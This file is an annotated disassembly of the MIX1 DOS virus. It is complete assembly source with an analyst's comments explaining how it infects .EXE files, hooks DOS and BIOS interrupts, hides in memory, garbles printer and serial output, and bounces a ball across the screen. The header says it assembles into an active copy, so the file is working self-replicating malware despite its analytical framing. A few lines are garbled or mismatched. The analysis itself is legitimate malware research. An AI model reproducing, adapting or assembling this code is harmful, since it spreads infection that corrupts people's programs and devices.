home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MIX1.ASM < prev    next >
Assembly Source File  |  1992-08-09  |  25KB  |  858 lines

  1. ;        THE MIX1 virus
  2. ;
  3. ;        It was first detected in Israel in August '89.
  4. ;
  5. ;        Disassembly done Sept. 24-25 '89.
  6. ;
  7. ;        The author of this program is unknown, but it is clearly a
  8. ;        modification of the "Icelandic" virus, with considerable
  9. ;        additions
  10. ;
  11. ;        All comments in this file were added by Fridrik Skulason,
  12. ;        University of Iceland/Computing Services.
  13. ;
  14. ;        INTERNET:     frisk@rhi.hi.is
  15. ;        UUCP:         ...mcvax!hafro!rhi!frisk
  16. ;        BIX:          FRISK
  17. ;
  18. ;        To anyone who obtains this file - please be careful with it, I
  19. ;        would not like to see this virus be distributed too much.
  20. ;
  21. ;        A short description of the virus:
  22. ;
  23. ;        It only infects .EXE files. Infected files grow by ... to ... bytes.
  24. ;        The virus attaches itself to the end of the programs it infects.
  25. ;
  26. ;        When an infected file is run, the virus copies itself to top of
  27. ;        free memory, and modifies the memory blocks, in order to hide from
  28. ;        memory mapping programs. Some programs may overwrite this area,
  29. ;        causing the computer to crash.
  30. ;
  31. ;        The virus will hook INT 21H and when function 4B (EXEC) is called
  32. ;        it sometimes will infect the program being run. It will check every
  33. ;        tenth program that is run for infection, and if it is not already
  34. ;        infected, it will be.
  35. ;
  36. ;        The virus will remove the Read-Only attribute before trying to
  37. ;        infect programs.
  38. ;
  39. ;        Infected files can be easily recognized, since they always end in
  40. ;        "MIX1"
  41. ;
  42. ;        To check for system infection, a byte at 0:33C is used - if it
  43. ;        contains 77 the virus is installed in memory.
  44. ;
  45. ;
  46. VIRSIZ        EQU        128
  47.  
  48. ;
  49. ;       This is the original program, just used so this file, when
  50. ;       assembled, will produce an active copy.
  51. ;
  52. _TEXT1        SEGMENT        PARA PUBLIC
  53. _START        DB        0b4H,09H
  54.         PUSH        CS
  55.         POP        DS
  56.         MOV        DX,OFFSET STRING
  57.         INT        21H
  58.         MOV        AX,4C00H
  59.         INT        21H
  60. STRING        DB        "Hello world!",0dh,0ah,"$"
  61.  _TEXT1        ENDS
  62.  
  63. CODE SEGMENT PARA PUBLIC 'CODE'
  64.         ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING
  65.  
  66. ;
  67. ;         The virus is basically divided in the following parts.
  68. ;
  69. ;        1. The main program - run when an infected program is run.
  70. ;           It will check if the system is already infected, and if not
  71. ;           it will install the virus.
  72. ;
  73. ;        2. The new INT 17 handler. All outgoing characters will be garbled.
  74. ;
  75. ;        3. The new INT 14 handler. All outgoing characters will be garbled.
  76. ;
  77. ;        4. The new INT 8 handler.
  78. ;
  79. ;        5. The new INT 9 handler. Disables the Num-Lock key
  80. ;
  81. ;        6. The new INT 21 handler. It will look for EXEC calls, and
  82. ;           (sometimes) infect the program being run.
  83. ;
  84. ;       Parts 1 and 6 are almost identical to the Icelandic-1 version
  85. ;
  86. ;        This is a fake MCB
  87. ;
  88.         DB        'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
  89.  
  90. VIRUS   PROC    FAR
  91. ;
  92. ;        The virus starts by pushing the original start address on the stack,
  93. ;        so it can transfer control there when finished.
  94. ;
  95. ABRAX:  DEC     SP              ; This used to be SUB SP,4
  96.         DEC     SP
  97.         NOP
  98.         DEC     SP
  99.         DEC     SP
  100.         PUSH    BP
  101.         MOV     BP,SP
  102.         NOP                     ; added
  103.         PUSH    AX
  104.         NOP                     ; added
  105.         MOV     AX,ES
  106. ;
  107. ;        Put the the original CS on the stack. The ADD AX,data instruction
  108. ;        is modified by the virus when it infects other programs.
  109. ;
  110.         DB      05H
  111. ORG_CS  DW      0010H
  112.         MOV     [BP+4],AX
  113. ;
  114. ;        Put the the original IP on the stack. This MOV [BP+2],data instruction
  115. ;        is modified by the virus when it infects other programs.
  116. ;
  117.         DB      0C7H,46H,02H
  118. ORG_IP  DW      0000H
  119. ;
  120. ;        Save all registers that are modified.
  121. ;
  122.         PUSH    ES
  123.         PUSH    DS
  124.         PUSH    BX
  125.         PUSH    CX
  126.         PUSH    SI
  127.         PUSH    DI
  128. ;
  129. ;        Check if already installed. Quit if so.
  130. ;
  131.         MOV        AX,0                 ; Was: XOR AX,AX
  132.         MOV        ES,AX
  133.         CMP        ES:[33CH],BYTE PTR 077H
  134.         JNE        L1
  135. ;
  136. ;        Restore all registers and return to the original program.
  137. ;
  138. EXIT:   POP        DI
  139.         POP        SI
  140.         POP        CX
  141.         POP        BX
  142.         POP        DS
  143.         POP        ES
  144.         POP        AX
  145.         POP        BP
  146.         RET
  147. ;
  148. ;    The virus tries to hide from detection by modifying the memory block it
  149. ;    uses, so it seems to be a block that belongs to the operating system.
  150. ;
  151. ;    It looks rather weird, but it seems to work.
  152. ;
  153. L1:     MOV     AH,52H
  154.         INT     21H
  155.         MOV     AX,ES:[BX-2]
  156.         MOV     ES,AX
  157.         PUSH    ES                      ; Two totally unnecessary instructions
  158.         POP     AX                      ; added
  159.         ADD     AX,ES:[0003]
  160.         INC     AX
  161.         INC     AX
  162.         MOV     CS:[0001],AX
  163. ;
  164. ;         Next, the virus modifies the memory block of the infected program.
  165. ;         It is made smaller, and no longer the last block.
  166. ;
  167.         MOV     BX,DS
  168.         DEC     BX
  169.         PUSH    BX                      ; Unnecessary addition
  170.         POP     AX
  171.         MOV     DS,BX
  172.         MOV     AL,'M'
  173.         MOV     DS:[0000],AL
  174.         MOV     AX,DS:[0003]
  175.         SUB     AX,VIRSIZ
  176.         MOV     DS:[0003],AX
  177.         ADD     BX,AX
  178.         INC     BX
  179. ;
  180. ;         Then the virus moves itself to the new block.
  181. ;
  182.         PUSH    BX                      ; Was: MOV ES,BX
  183.         POP     ES
  184.         MOV     SI,0                    ; Was: XOR SI,SI    XOR DI,DI
  185.         MOV     DI,SI
  186.         PUSH    CS
  187.         POP     DS
  188.         MOV     CX,652H
  189.         CLD
  190.         REP     MOVSB
  191. ;
  192. ;        The virus then transfers control to the new copy of itself.
  193. ;
  194.         PUSH     ES
  195.         MOV      AX,OFFSET L3
  196.         PUSH     AX
  197.         RET
  198. ;
  199. ;       Zero some variables
  200. ;
  201. L3:     MOV     BYTE PTR CS:[MIN60],0
  202.         NOP
  203.         MOV     BYTE PTR CS:[MIN50],0
  204.         NOP
  205.         MOV     WORD PTR CS:[TIMER],0
  206. ;
  207. ;       The most nutty way to zero ES register that I have ever seen:
  208. ;
  209.         MOV     BX,0FFFFH
  210.         ADD     BX,3F3FH
  211.         MOV     CL,0AH
  212.         SHL     BX,CL
  213.         AND     BX,CS:[CONST0]
  214.         MOV     AX,BX
  215.         MOV     ES,AX
  216. ;
  217. ;       Set flag to confirm installation
  218. ;
  219.         MOV     BYTE PTR ES:[33CH],77H
  220. ;
  221. ;       Hook interrupt 21:
  222. ;
  223.         MOV        AX,ES:[0084H]
  224.         MOV        CS:[OLD21],AX
  225.         MOV        AX,ES:[0086H]
  226.         MOV        CS:[OLD21+2],AX
  227.         MOV        AX,CS
  228.         MOV        ES:[0086H],AX
  229.         MOV        AX,OFFSET NEW21
  230.         MOV        ES:[0084H],AX
  231. ;
  232. ;       Hook interrupt 17:
  233. ;
  234.         MOV        AX,ES:[005CH]
  235.         MOV        CS:[OLD17],AX
  236.         MOV        AX,ES:[005EH]
  237.         MOV        CS:[OLD17+2],AX
  238.         MOV        AX,CS
  239.         MOV        ES:[005EH],AX
  240.         MOV        AX,OFFSET NEW17
  241.         MOV        ES:[005CH],AX
  242. ;
  243. ;       Hook interrupt 14:
  244. ;
  245.         MOV        AX,ES:[0050H]
  246.         MOV        CS:[OLD17],AX
  247.         MOV        AX,ES:[0052H]
  248.         MOV        CS:[OLD14+2],AX
  249.         MOV        AX,CS
  250.         MOV        ES:[0052H],AX
  251.         MOV        AX,OFFSET NEW14
  252.         MOV        ES:[0050H],AX
  253. ;
  254. ;
  255. ;
  256.         CMP     WORD PTR CS:[NOINF],5
  257.         JG      HOOK9
  258.         JMP     EXIT
  259. ;
  260. ;       Hook interrupt 9
  261. ;
  262. HOOK9:  MOV        AX,ES:[0024H]
  263.         MOV        CS:[OLD9],AX
  264.         MOV        AX,ES:[0026H]
  265.         MOV        CS:[OLD9+2],AX
  266.         MOV        AX,CS
  267.         MOV        ES:[0026H],AX
  268.         MOV        AX,OFFSET NEW9
  269.         MOV        ES:[0024H],AX
  270. ;
  271. ;       Hook interrupt 8
  272. ;
  273.         MOV        AX,ES:[0020H]
  274.         MOV        CS:[OLD8],AX
  275.         MOV        AX,ES:[0022H]
  276.         MOV        CS:[OLD8+2],AX
  277.         MOV        AX,CS
  278.         MOV        ES:[0022H],AX
  279.         MOV        AX,OFFSET NEW8
  280.         MOV        ES:[0020H],AX
  281.         JMP        EXIT
  282. ;
  283. ;       Video processing
  284. ;
  285. VID:    PUSH    AX
  286.         PUSH    BX
  287.         PUSH    CX
  288.         PUSH    DX
  289.         PUSH    DI
  290.         PUSH    DS
  291.         PUSH    ES
  292.         PUSH    CS
  293.         POP     DS
  294.         MOV     AH,0FH
  295.         INT     10H
  296.         MOV     AH,6
  297.         MUL     AH
  298.         MOV     BX,AX
  299.         MOV     AX,DS:[BX+OFFSET VIDEOT]
  300.         MOV     CX,DS:[BX+OFFSET VIDEOT+2]
  301.         MOV     DX,DS:[BX+OFFSET VIDEOT+4]
  302.         MOV     ES,DX
  303.         SHR     CX,1
  304.         MOV
  305.         DI,1
  306.         CMP     AX,0
  307.         JNZ     V1
  308. V0:     INC     WORD PTR ES:[DI]
  309.         INC     DI
  310.         INC     DI
  311.         LOOP    V0
  312.         JMP     SHORT V2
  313.         NOP
  314. V1:     NOT     WORD PTR ES:[DI]
  315.         INC     DI
  316.         INC     DI
  317.         LOOP    V1
  318. V2:     POP     ES
  319.         POP     DS
  320.         POP     DI
  321.         POP     DX
  322.         POP     CX
  323.         POP     BX
  324.         POP     AX
  325.         RET
  326. ;
  327. ;       INT 9 replacement: Just fiddle around with the NUM-LOCK etc.
  328. ;       This routine does not become active until 50 minutes after
  329. ;       the execution of an infected program.
  330. ;
  331. NEW9:   PUSH    AX
  332.         PUSH    ES
  333.         CMP     BYTE PTR CS:[MIN50],1
  334.         JNZ     RETX1
  335.         XOR     AX,AX
  336.         MOV     ES,AX                           ; was xxxxxxxx
  337.         AND     BYTE PTR ES:[417H],0BFH         ;     x0xxxxxx
  338.         OR      BYTE PTR ES:[417H],20H          ;     x01xxxxx
  339.         TEST    BYTE PTR ES:[417H],0CH
  340.         JZ      RETX1
  341.         IN      AL,60
  342.         CMP     AL,53
  343.         JNZ     RETX1
  344.         AND     BYTE PTR ES:[417H],0F7H
  345. ;
  346. ;       This seems to be an error - the virus uses a FAR call, which will
  347. ;       probably cause the computer to crash.
  348. ;
  349.         DB      9AH
  350.         DW      OFFSET VID,171CH
  351. ;
  352. ;       This needs more checking.
  353. ;
  354.  
  355. RETX1:  POP     ES
  356.         POP     AX
  357.         DB      0EAH
  358. OLD9    DW      0,0
  359. ;
  360. ;       New INT 14 routine - garble all outgoing characters
  361. ;
  362. NEW14:  CMP     AH,1
  363.         JZ      S1
  364. DO14:   DB      0EAH
  365. OLD14   DW      0,0
  366. S1:     PUSH    BX
  367.         XOR     BX,BX
  368.         MOV     BL,AL
  369.         ADD     BX,OFFSET ERRTAB
  370.         MOV     AL,CS:[BX]              ; use old character as index into table
  371.         POP     BX
  372.         JMP     DO14
  373. ;
  374. ;       New INT 8 routine
  375. ;
  376. NEW8:   PUSH    DX
  377.         PUSH    CX
  378.         PUSH    BX
  379.         PUSH    AX
  380.         CMP     BYTE PTR CS:[MIN60],01          ; If counter >= 60 min.
  381.         JZ      TT0                             ; No need to check any more
  382.         INC     WORD PTR CS:[TIMER]             ; else increment timer
  383.         CMP     WORD PTR CS:[TIMER],-10         ; 60 minutes ?
  384.         JZ      TT1
  385.         CMP     WORD PTR CS:[TIMER],54600       ; 50 minutes ?
  386.         JZ      TT2
  387.         JMP     TXEX
  388. ;
  389. ;       50 minutes after an infected program is run the flag is set.
  390. ;
  391. TT2:    MOV     BYTE PTR CS:[MIN50],1
  392.         NOP
  393.         JMP     TXEX
  394. ;
  395. ;       60 minutes after an infected program is run we start the ball bouncing.
  396. ;
  397. TT1:    MOV     BYTE PTR CS:[MIN60],1
  398. ;
  399. ;       Get current cursor position and save it
  400. ;
  401.         MOV     AH,3
  402.         MOV     BH,0
  403.         INT     10H
  404.         MOV     CS:[SCRLINE],DH
  405.         MOV     CS:[SCRCOL],DL
  406. ;
  407. ;       Set cursor position
  408. ;
  409.         MOV     AH,2
  410.         MOV     BH,0
  411.         MOV     DH,CS:[MYLINE]
  412.         MOV     DL,CS:[MYCOL]
  413.         INT     10H
  414. ;
  415. ;       Check what is there and store it
  416. ;
  417.         MOV     AH,8
  418.         MOV     BH,0
  419.         INT     10H
  420.         MOV     CS:[ONSCREEN],AL
  421. ;
  422. ;       Set cursor position back as it was before
  423. ;
  424.         MOV     AH,2
  425.         MOV     BH,0
  426.         MOV     DH,CS:[SCRLINE]
  427.         MOV     DL,CS:[SCRCOL]
  428.         INT     10H
  429. ;
  430. ;       Get current video mode and store it
  431. ;
  432.         MOV     AH,0FH
  433.         INT     10H
  434.         MOV     CS:[VMODE],AH
  435. ;
  436. ;       Exit interrupt routine
  437. ;
  438.         JMP     TXEX
  439. ;
  440. ;       Every time an INT 8 occurs, after the 60 min. have passed, we
  441. ;       end up here:
  442. ;
  443. ;       First get current cursor position
  444. ;
  445. TT0:    MOV     AH,3
  446.         MOV     BH,0
  447.         INT     10H
  448.         MOV     CS:[SCRLINE],DH
  449.         MOV     CS:[SCRCOL],DL
  450. ;
  451. ;       Then set it to last position of ball.
  452. ;
  453.         MOV     AH,2
  454.         MOV     BH,0
  455.         MOV     DH,CS:[MYLINE]
  456.         MOV     DL,CS:[MYCOL]
  457.         INT     10H
  458. ;
  459. ;       Write previous character there ...
  460. ;
  461.         MOV     AH,0EH
  462.         MOV     AL,CS:[ONSCREEN]
  463.         MOV     BX,0
  464.         INT     10H
  465. ;
  466. ;
  467.         CMP     BYTE PTR CS:[UPDOWN],0
  468.         JZ      T2
  469. ;
  470. ;
  471.         DEC     BYTE PTR CS:[MYLINE]
  472.         JMP     SHORT T3
  473.         NOP
  474. T2:     INC     BYTE PTR CS:[MYLINE]
  475. T3:     CMP     BYTE PTR CS:[LEFTRIGHT],0
  476.         JZ      T4
  477.         DEC     BYTE PTR CS:[MYCOL]
  478.         JMP     SHORT T5
  479.         NOP
  480. T4:     INC     BYTE PTR CS:[MYCOL]
  481. ;
  482. ;       Get current video mode
  483. ;
  484. T5:     MOV     AH,0FH
  485.         INT     10H
  486.         MOV     CS:[VMODE],AH
  487.         MOV     AL,CS:[MAXLIN]
  488.         CMP     CS:[MYLINE],AL                  ; bottom of screen ?
  489.         JNZ     T6
  490. ;
  491. ;       Reached bottom - now go upwards.
  492. ;
  493.         NOT     BYTE PTR CS:[UPDOWN]
  494. T6:     CMP     BYTE PTR CS:[MYLINE],0          ; reached the top ?
  495.         JNZ     T7
  496. ;
  497. ;       Reached top - now go downwards
  498. ;
  499.         NOT     BYTE PTR CS:[UPDOWN]
  500. T7:     MOV     AL,CS:[VMODE]
  501.         CMP     CS:[MYCOL],AL
  502.         JNZ     T8
  503.         NOT     BYTE PTR CS:[LEFTRIGHT]
  504. T8:     CMP     BYTE PTR CS:[MYCOL],0
  505.         JNZ     T9
  506.         NOT     BYTE PTR CS:[LEFTRIGHT]
  507. ;
  508. ;       Set cursor position to new position of ball
  509. ;
  510. T9:     MOV     AH,02
  511.         MOV     BH,0
  512.         MOV     DH,CS:[MYLINE]
  513.         MOV     DL,CS:[MYCOL]
  514.         INT     10H
  515. ;
  516. ;       Get what is there and store it.
  517. ;
  518.         MOV     AH,8
  519.         MOV     BH,0
  520.         INT     10H
  521.         MOV     CS:[ONSCREEN],AL
  522. ;
  523. ;       Write character (lower case o)
  524. ;
  525.         MOV     AH,0EH
  526.         MOV     AL,6FH
  527.         MOV     BX,0
  528.         INT     10H
  529. ;
  530. ;       And restore cursor position
  531. ;
  532.         MOV     AH,02
  533.         MOV     BH,0
  534.         MOV     DH,CS:[SCRLINE]
  535.         MOV     DL,CS:[SCRCOL]
  536.         INT     10H
  537. ;
  538. ;       Restore registers and quit
  539. ;
  540. TXEX:   POP     AX
  541.         POP     BX
  542.         POP     CX
  543.         POP     DX
  544.         DB      0EAH
  545. OLD8    DW      0,0
  546. ;
  547. ;       New INT 17 routine. Garble all outgoing characters.
  548. ;
  549. NEW17:  CMP     AH,0
  550.         JZ      P0
  551. DO17:   DB      0EAH
  552. OLD17   DW      0,0
  553. P0:     PUSH    BX
  554.         XOR     BX,BX
  555.         MOV     BL,AL
  556.         ADD     BX,OFFSET ERRTAB
  557.         MOV     AL,CS:[BX]
  558.         POP     BX
  559.         JMP     DO17
  560. ;
  561. ;        This is the INT 21 replacement. It only does something in the case
  562. ;        of an EXEC call.
  563. ;
  564. NEW21:  CMP    AH,4BH
  565.         JE     L5
  566. DO21:   DB     0EAH
  567. OLD21   DW     0,0
  568. ;
  569. ;       The code to only infect every tenth program has been removed
  570. ;
  571. L5:     PUSH        AX
  572.         PUSH        BX
  573.         PUSH        CX
  574.         PUSH        DX
  575.         PUSH        SI
  576.         PUSH        DS
  577. ;
  578. ;        Search for the file name extension ...
  579. ;
  580.         MOV        BX,DX
  581. L6:     INC        BX
  582.         CMP        BYTE PTR [BX],'.'
  583.         JE         L8
  584.         CMP        BYTE PTR [BX],0
  585.         JNE        L6
  586. ;
  587. ;        ... and quit unless it starts with "EX".
  588. ;
  589. L7:     POP        DS
  590.         POP        SI
  591.         POP        DX
  592.         POP        CX
  593.         POP        BX
  594.         POP        AX
  595.         JMP        DO21
  596. L8:     INC        BX
  597.         CMP        WORD PTR [BX],5845H
  598.         JNE        L7
  599. ;
  600. ;        When an .EXE file is found, the virus starts by turning off
  601. ;        the read-only attribute. The read-only attribute is not restored
  602. ;        when the file has been infected.
  603. ;
  604.         MOV        AX,4300H                ; Get attribute
  605.         INT        21H
  606.         JC         L7
  607.         MOV        AX,4301H                ; Set attribute
  608.         AND        CX,0FEH
  609.         INT        21H
  610.         JC         L7
  611. ;
  612. ;        Next, the file is examined to see if it is already infected.
  613. ;         The signature (4418 5F19) is stored in the last two words.
  614. ;
  615.         MOV        AX,3D02H                ; Open / write access
  616.         INT        21H
  617.         JC         L7
  618.         MOV        BX,AX                        ; file handle in BX
  619. ;
  620. ;       This part of the code is new: Get date of file.
  621. ;
  622.         MOV     AX,5700H
  623.         INT     21H
  624.         JC      L9
  625.         MOV     CS:[DATE1],DX
  626.         MOV     CS:[DATE2],CX
  627. ;
  628.         PUSH    CS                        ; now DS is no longer needed
  629.         POP     DS
  630. ;
  631. ;        The header of the file is read in at [ID+8]. The virus then
  632. ;        modifies itself, according to the information stored in the
  633. ;        header. (The original CS and IP addressed are stored).
  634. ;
  635.         MOV        DX,OFFSET ID+8
  636.         MOV        CX,1CH
  637.         MOV        AH,3FH
  638.         INT        21H
  639.         JC        L9
  640.         MOV        AX,DS:ID[1CH]
  641.         MOV        DS:[ORG_IP],AX
  642.         MOV        AX,DS:ID[1EH]
  643.         ADD        AX,10H
  644.         MOV        DS:[ORG_CS],AX
  645. ;
  646. ;        Next the read/write pointer is moved to the end of the file-4,
  647. ;        and the last 4 bytes read. They are compared to the signature,
  648. ;        and if equal nothing happens.
  649. ;
  650.         MOV        AX,4202H
  651.         MOV        CX,-1
  652.         MOV        DX,-4
  653.         INT        21H
  654.         JC        L9
  655.         ADD        AX,4
  656.         MOV        DS:[LEN_LO],AX
  657.         JNC        L8A
  658.         INC        DX
  659. L8A:    MOV        DS:[LEN_HI],DX
  660. ;
  661. ;       This part of the virus is new - check if it is below minimum length
  662. ;
  663.         CMP     DX,0
  664.         JNE     L8B
  665.         MOV     CL,13
  666.         SHR     AX,CL
  667.         CMP     AX,0
  668.         JG      L8B
  669.         JMP     SHORT L9
  670.         NOP
  671. L8B:    MOV        AH,3FH
  672.         MOV        CX,4
  673.         MOV        DX,OFFSET ID+4
  674.         INT        21H
  675.         JNC        L11
  676. L9:     MOV        AH,3EH
  677.         INT        21H
  678. L10:    JMP        L7
  679. ;
  680. ;        Compare to 4418,5F19
  681. ;
  682. L11:    MOV        SI,OFFSET ID+4
  683.         MOV        AX,[SI]
  684.         CMP        AX,494DH
  685.         JNE        L12
  686.         MOV        AX,[SI+2]
  687.         CMP        AX,3158H
  688.         JE        L9
  689. ;
  690. ;        The file is not infected, so the next thing the virus does is
  691. ;        infecting it. First it is padded so the length becomes a multiple
  692. ;        of 16 bytes. Tis is probably done so the virus code can start at a
  693. ;        paragraph boundary.
  694. ;
  695. L12:    MOV        AX,DS:[LEN_LO]
  696.         AND        AX,0FH
  697.         JZ        L13
  698.         MOV        CX,16
  699.         SUB        CX,AX
  700.         ADD        DS:[LEN_LO],CX
  701.         JNC        L12A
  702.         INC        DS:[LEN_HI]
  703. L12A:   MOV        AH,40H
  704.         INT        21H
  705.         JC        L9
  706. ;
  707. ;        Next the main body of the virus is written to the end.
  708. ;
  709. L13:    MOV     DX,0                    ; Was:   XOR        DX,DX
  710.         MOV        CX,OFFSET ID + 4
  711.         MOV        AH,40H
  712.         INT        21H
  713.         JC        L9
  714. ;
  715. ;        Next the .EXE file header is modified:
  716. ;
  717.         JMP     SHORT   F0              ; some unnecessary instructions
  718.         NOP
  719. ;        First modify initial IP
  720. ;
  721. F0:     MOV        AX,OFFSET LABEL
  722.         MOV        DS:ID[1CH],AX
  723. ;
  724. ;        Modify starting CS = Virus CS. It is computed as:
  725. ;
  726. ;        (Original length of file+padding)/16 - Start of load module
  727. ;
  728.         MOV        DX,DS:[LEN_HI]
  729.         MOV        AX,DS:[LEN_LO]
  730.         MOV        CL,CS:[CONST1]               ; Modified a bit
  731.         SHR        DX,CL
  732.         RCR        AX,CL
  733.         SHR        DX,CL
  734.         RCR        AX,CL
  735.         SHR        DX,CL
  736.         RCR        AX,CL
  737.         SHR        DX,CL
  738.         RCR        AX,CL
  739.         SUB        AX,DS:ID[10H]
  740.         MOV        DS:ID[1EH],AX
  741. ;
  742. ;        Modify length mod 512
  743. ;
  744.         ADD        DS:[LEN_LO],OFFSET ID+4
  745.         JNC        L14
  746.         INC        DS:[LEN_HI]
  747. L14:    MOV        AX,DS:[LEN_LO]
  748.         AND        AX,511
  749.         MOV        DS:ID[0AH],AX
  750. ;
  751. ;        Modify number of blocks used
  752. ;
  753.         MOV        DX,DS:[LEN_HI]
  754.         MOV        AX,DS:[LEN_LO]
  755.         ADD        AX,511
  756.         JNC        L14A
  757.         INC        DX
  758. L14A:   MOV        AL,AH
  759.         MOV        AH,DL
  760.         SHR        AX,1
  761.         MOV        DS:ID[0CH],AX
  762. ;
  763. ;        Finally the modified header is written back to the start of the
  764. ;        file.
  765. ;
  766. QQQ:    MOV        AX,4200H
  767.         MOV     CX,0                    ; was XOR CX,CX
  768.         AND     DX,CS:[CONST0]          ; was XOR DX,DX
  769.         INT        21H
  770.         JC        ENDIT
  771.         MOV        AH,40H
  772.         MOV        DX,OFFSET ID+8
  773.         MOV        CX,1CH
  774.         INT        21H
  775. ;
  776. ;       This part is new:       Restore old date.
  777. ;
  778.         MOV     DX,CS:[DATE1]
  779.         MOV     CX,CS:[DATE2]
  780.         MOV     AX,5701H
  781.         INT     21H
  782.         JC      ENDIT
  783.         INC     WORD PTR CS:[NOINF]
  784. ;
  785. ;        Infection is finished - close the file and execute it
  786. ;
  787. ENDIT:  JMP        L9
  788. ;
  789. ;
  790.         DW      0
  791.  
  792. VIDEOT: DW      0000H,  07D0H,  0B800H
  793.         DW      0000H,  07D0H,  0B800H
  794.         DW      0000H,  0FA0H,  0B800H
  795.         DW      0000H,  0FA0H,  0B800H
  796.         DW      0001H,  4000H,  0B800H
  797.         DW      0001H,  4000H,  0B800H
  798.         DW      0001H,  4000H,  0B800H
  799.         DW      0000H,  0FA0H,  0B000H
  800.         DW      0001H,  3E80H,  0B000H
  801.         DW      0001H,  7D00H,  0B000H
  802.         DW      0001H,  7D00H,  0B000H
  803.         DW      0002H,  0000H,   0000H
  804.         DW      0002H,  0000H,   0000H
  805.         DW      0001H,  7D00H,  0A000H
  806.         DW      0001H,  0FA00H, 0A000H
  807.         DW      0001H,  6D60H,  0A000H
  808.         DW      0002H,  0000H.  0000H
  809.  
  810.         DW      0
  811.  
  812. ERRTAB  DB      00H,01H,02H,03H,04H,05H,06H,07H,08H,09H,0BH,0AH,0CH,0DH,0EH,0FH
  813.         DB      10H,11H,12H,13H,14H,15H,16H,17H,18H,19H,1BH,1AH,1CH,1DH,1FH,1EH
  814.         DB      20H,21H,22H,23H,24H,25H,26H,27H,29H,28H,2AH,2DH,2CH,2BH,2EH,2FH
  815.         DB      30H,31H,32H,33H,34H,35H,36H,37H,38H,39H,3AH,3BH,3EH,3DH,3CH,3FH
  816.         DB      40H,42H,45H,43H,44H,41H,50H,47H,48H,59H,4AH,4BH,4CH,4DH,4EH,55H
  817.         DB      46H,51H,52H,53H,54H,4FH,56H,57H,58H,49H,5AH,5DH,5CH,5BH,5EH,5FH
  818.         DB      60H,65H,62H,73H,64H,61H,70H,67H,68H,65H,6AH,6BH,6CH,6DH,6EH,75H
  819.         DB      66H,71H,72H,63H,74H,6FH,76H,77H,78H,79H,7AH,7DH,7CH,7BH,7EH,7FH
  820.         DB      92H,81H,82H,83H,84H,85H,86H,8BH,9AH,89H,8AH,87H,8CH,8DH,8EH,8FH
  821.         DB      90H,99H,80H,93H,94H,95H,96H,97H,98H,91H,88H,9BH,9CH,9DH,9EH,9FH
  822.         DB      0A0H,0A1H,0A2H,0A3H,0A4H,0A5H,0A6H,0A7H,0A8H,0A9H,0BBH,0ABH,0ACH
  823.         DB      0B0H,0B1H,0B2H,0B3H,0B4H,0B5H,0B6H,0B7H,0B8H,0B9H,0BAH,0AAH,0D9H
  824.         DB      0C8H,0C1H,0C2H,0C3H,0C4H,0C5H,0C6H,0C7H,0C0H,0A9H,0CAH,0CBH,0CCH
  825.         DB      0D0H,0D1H,0D2H,0D3H,0D4H,0D5H,0D6H,0D7H,0D8H,0BCH,0DAH,0DBH,0DCH
  826.         DB      0E0H,0E1H,0E2H,0E3H,0E4H,0E5H,0E6H,0E7H,0E8H,0E9H,0EAH,0EBH,0ECH
  827.         DB      0F0H,0F1H,0F2H,0F3H,0F4H,0F5H,0F6H,0F7H,0F8H,0F9H,0FAH,0FBH,0FCH
  828.  
  829. CONST1  DB      1       ; Just the constant 1
  830. CONST0  DW      0       ; The label says it all
  831. MIN60   DB      0       ; Flag, set to 1 60 minutes after execution
  832. MIN50   DB      0       ; Flag, set to 1 50 minutes after execution
  833. VMODE   DB      0       ; Video mode
  834. MAXLIN  DB      24
  835. MYCOL   DB      0       ; Position of ball on screen
  836. MYLINE  DB      0       ; ditto.
  837. ONSCREEN DB     ?       ; Previous character on the screen
  838. UPDOWN  DB      0       ; Direction of ball (up or down)
  839. LEFTRIGHT DB    0       ; Direction (left or right)
  840. SCRCOL  DB      ?
  841. SCRLINE DB      ?
  842. DATE1   DW      ?       ; Date of file
  843. DATE2   DW      ?       ; ditto.
  844. TIMER   DW      0       ; Number of timer (INT 8) ticks
  845. LEN_LO  DW      ?
  846. LEN_HI  DW      ?
  847. NOINF   DW      0       ; Number of infections
  848. ID      ABRAX WORD
  849.         DB      "MIX1"  ; The signature of the virus.
  850. ;
  851. ;        A buffer, used for data from the file.
  852. ;
  853.  
  854. VIRUS   ENDP
  855. CODE        ENDS
  856.  
  857.         END ABRAX
  858.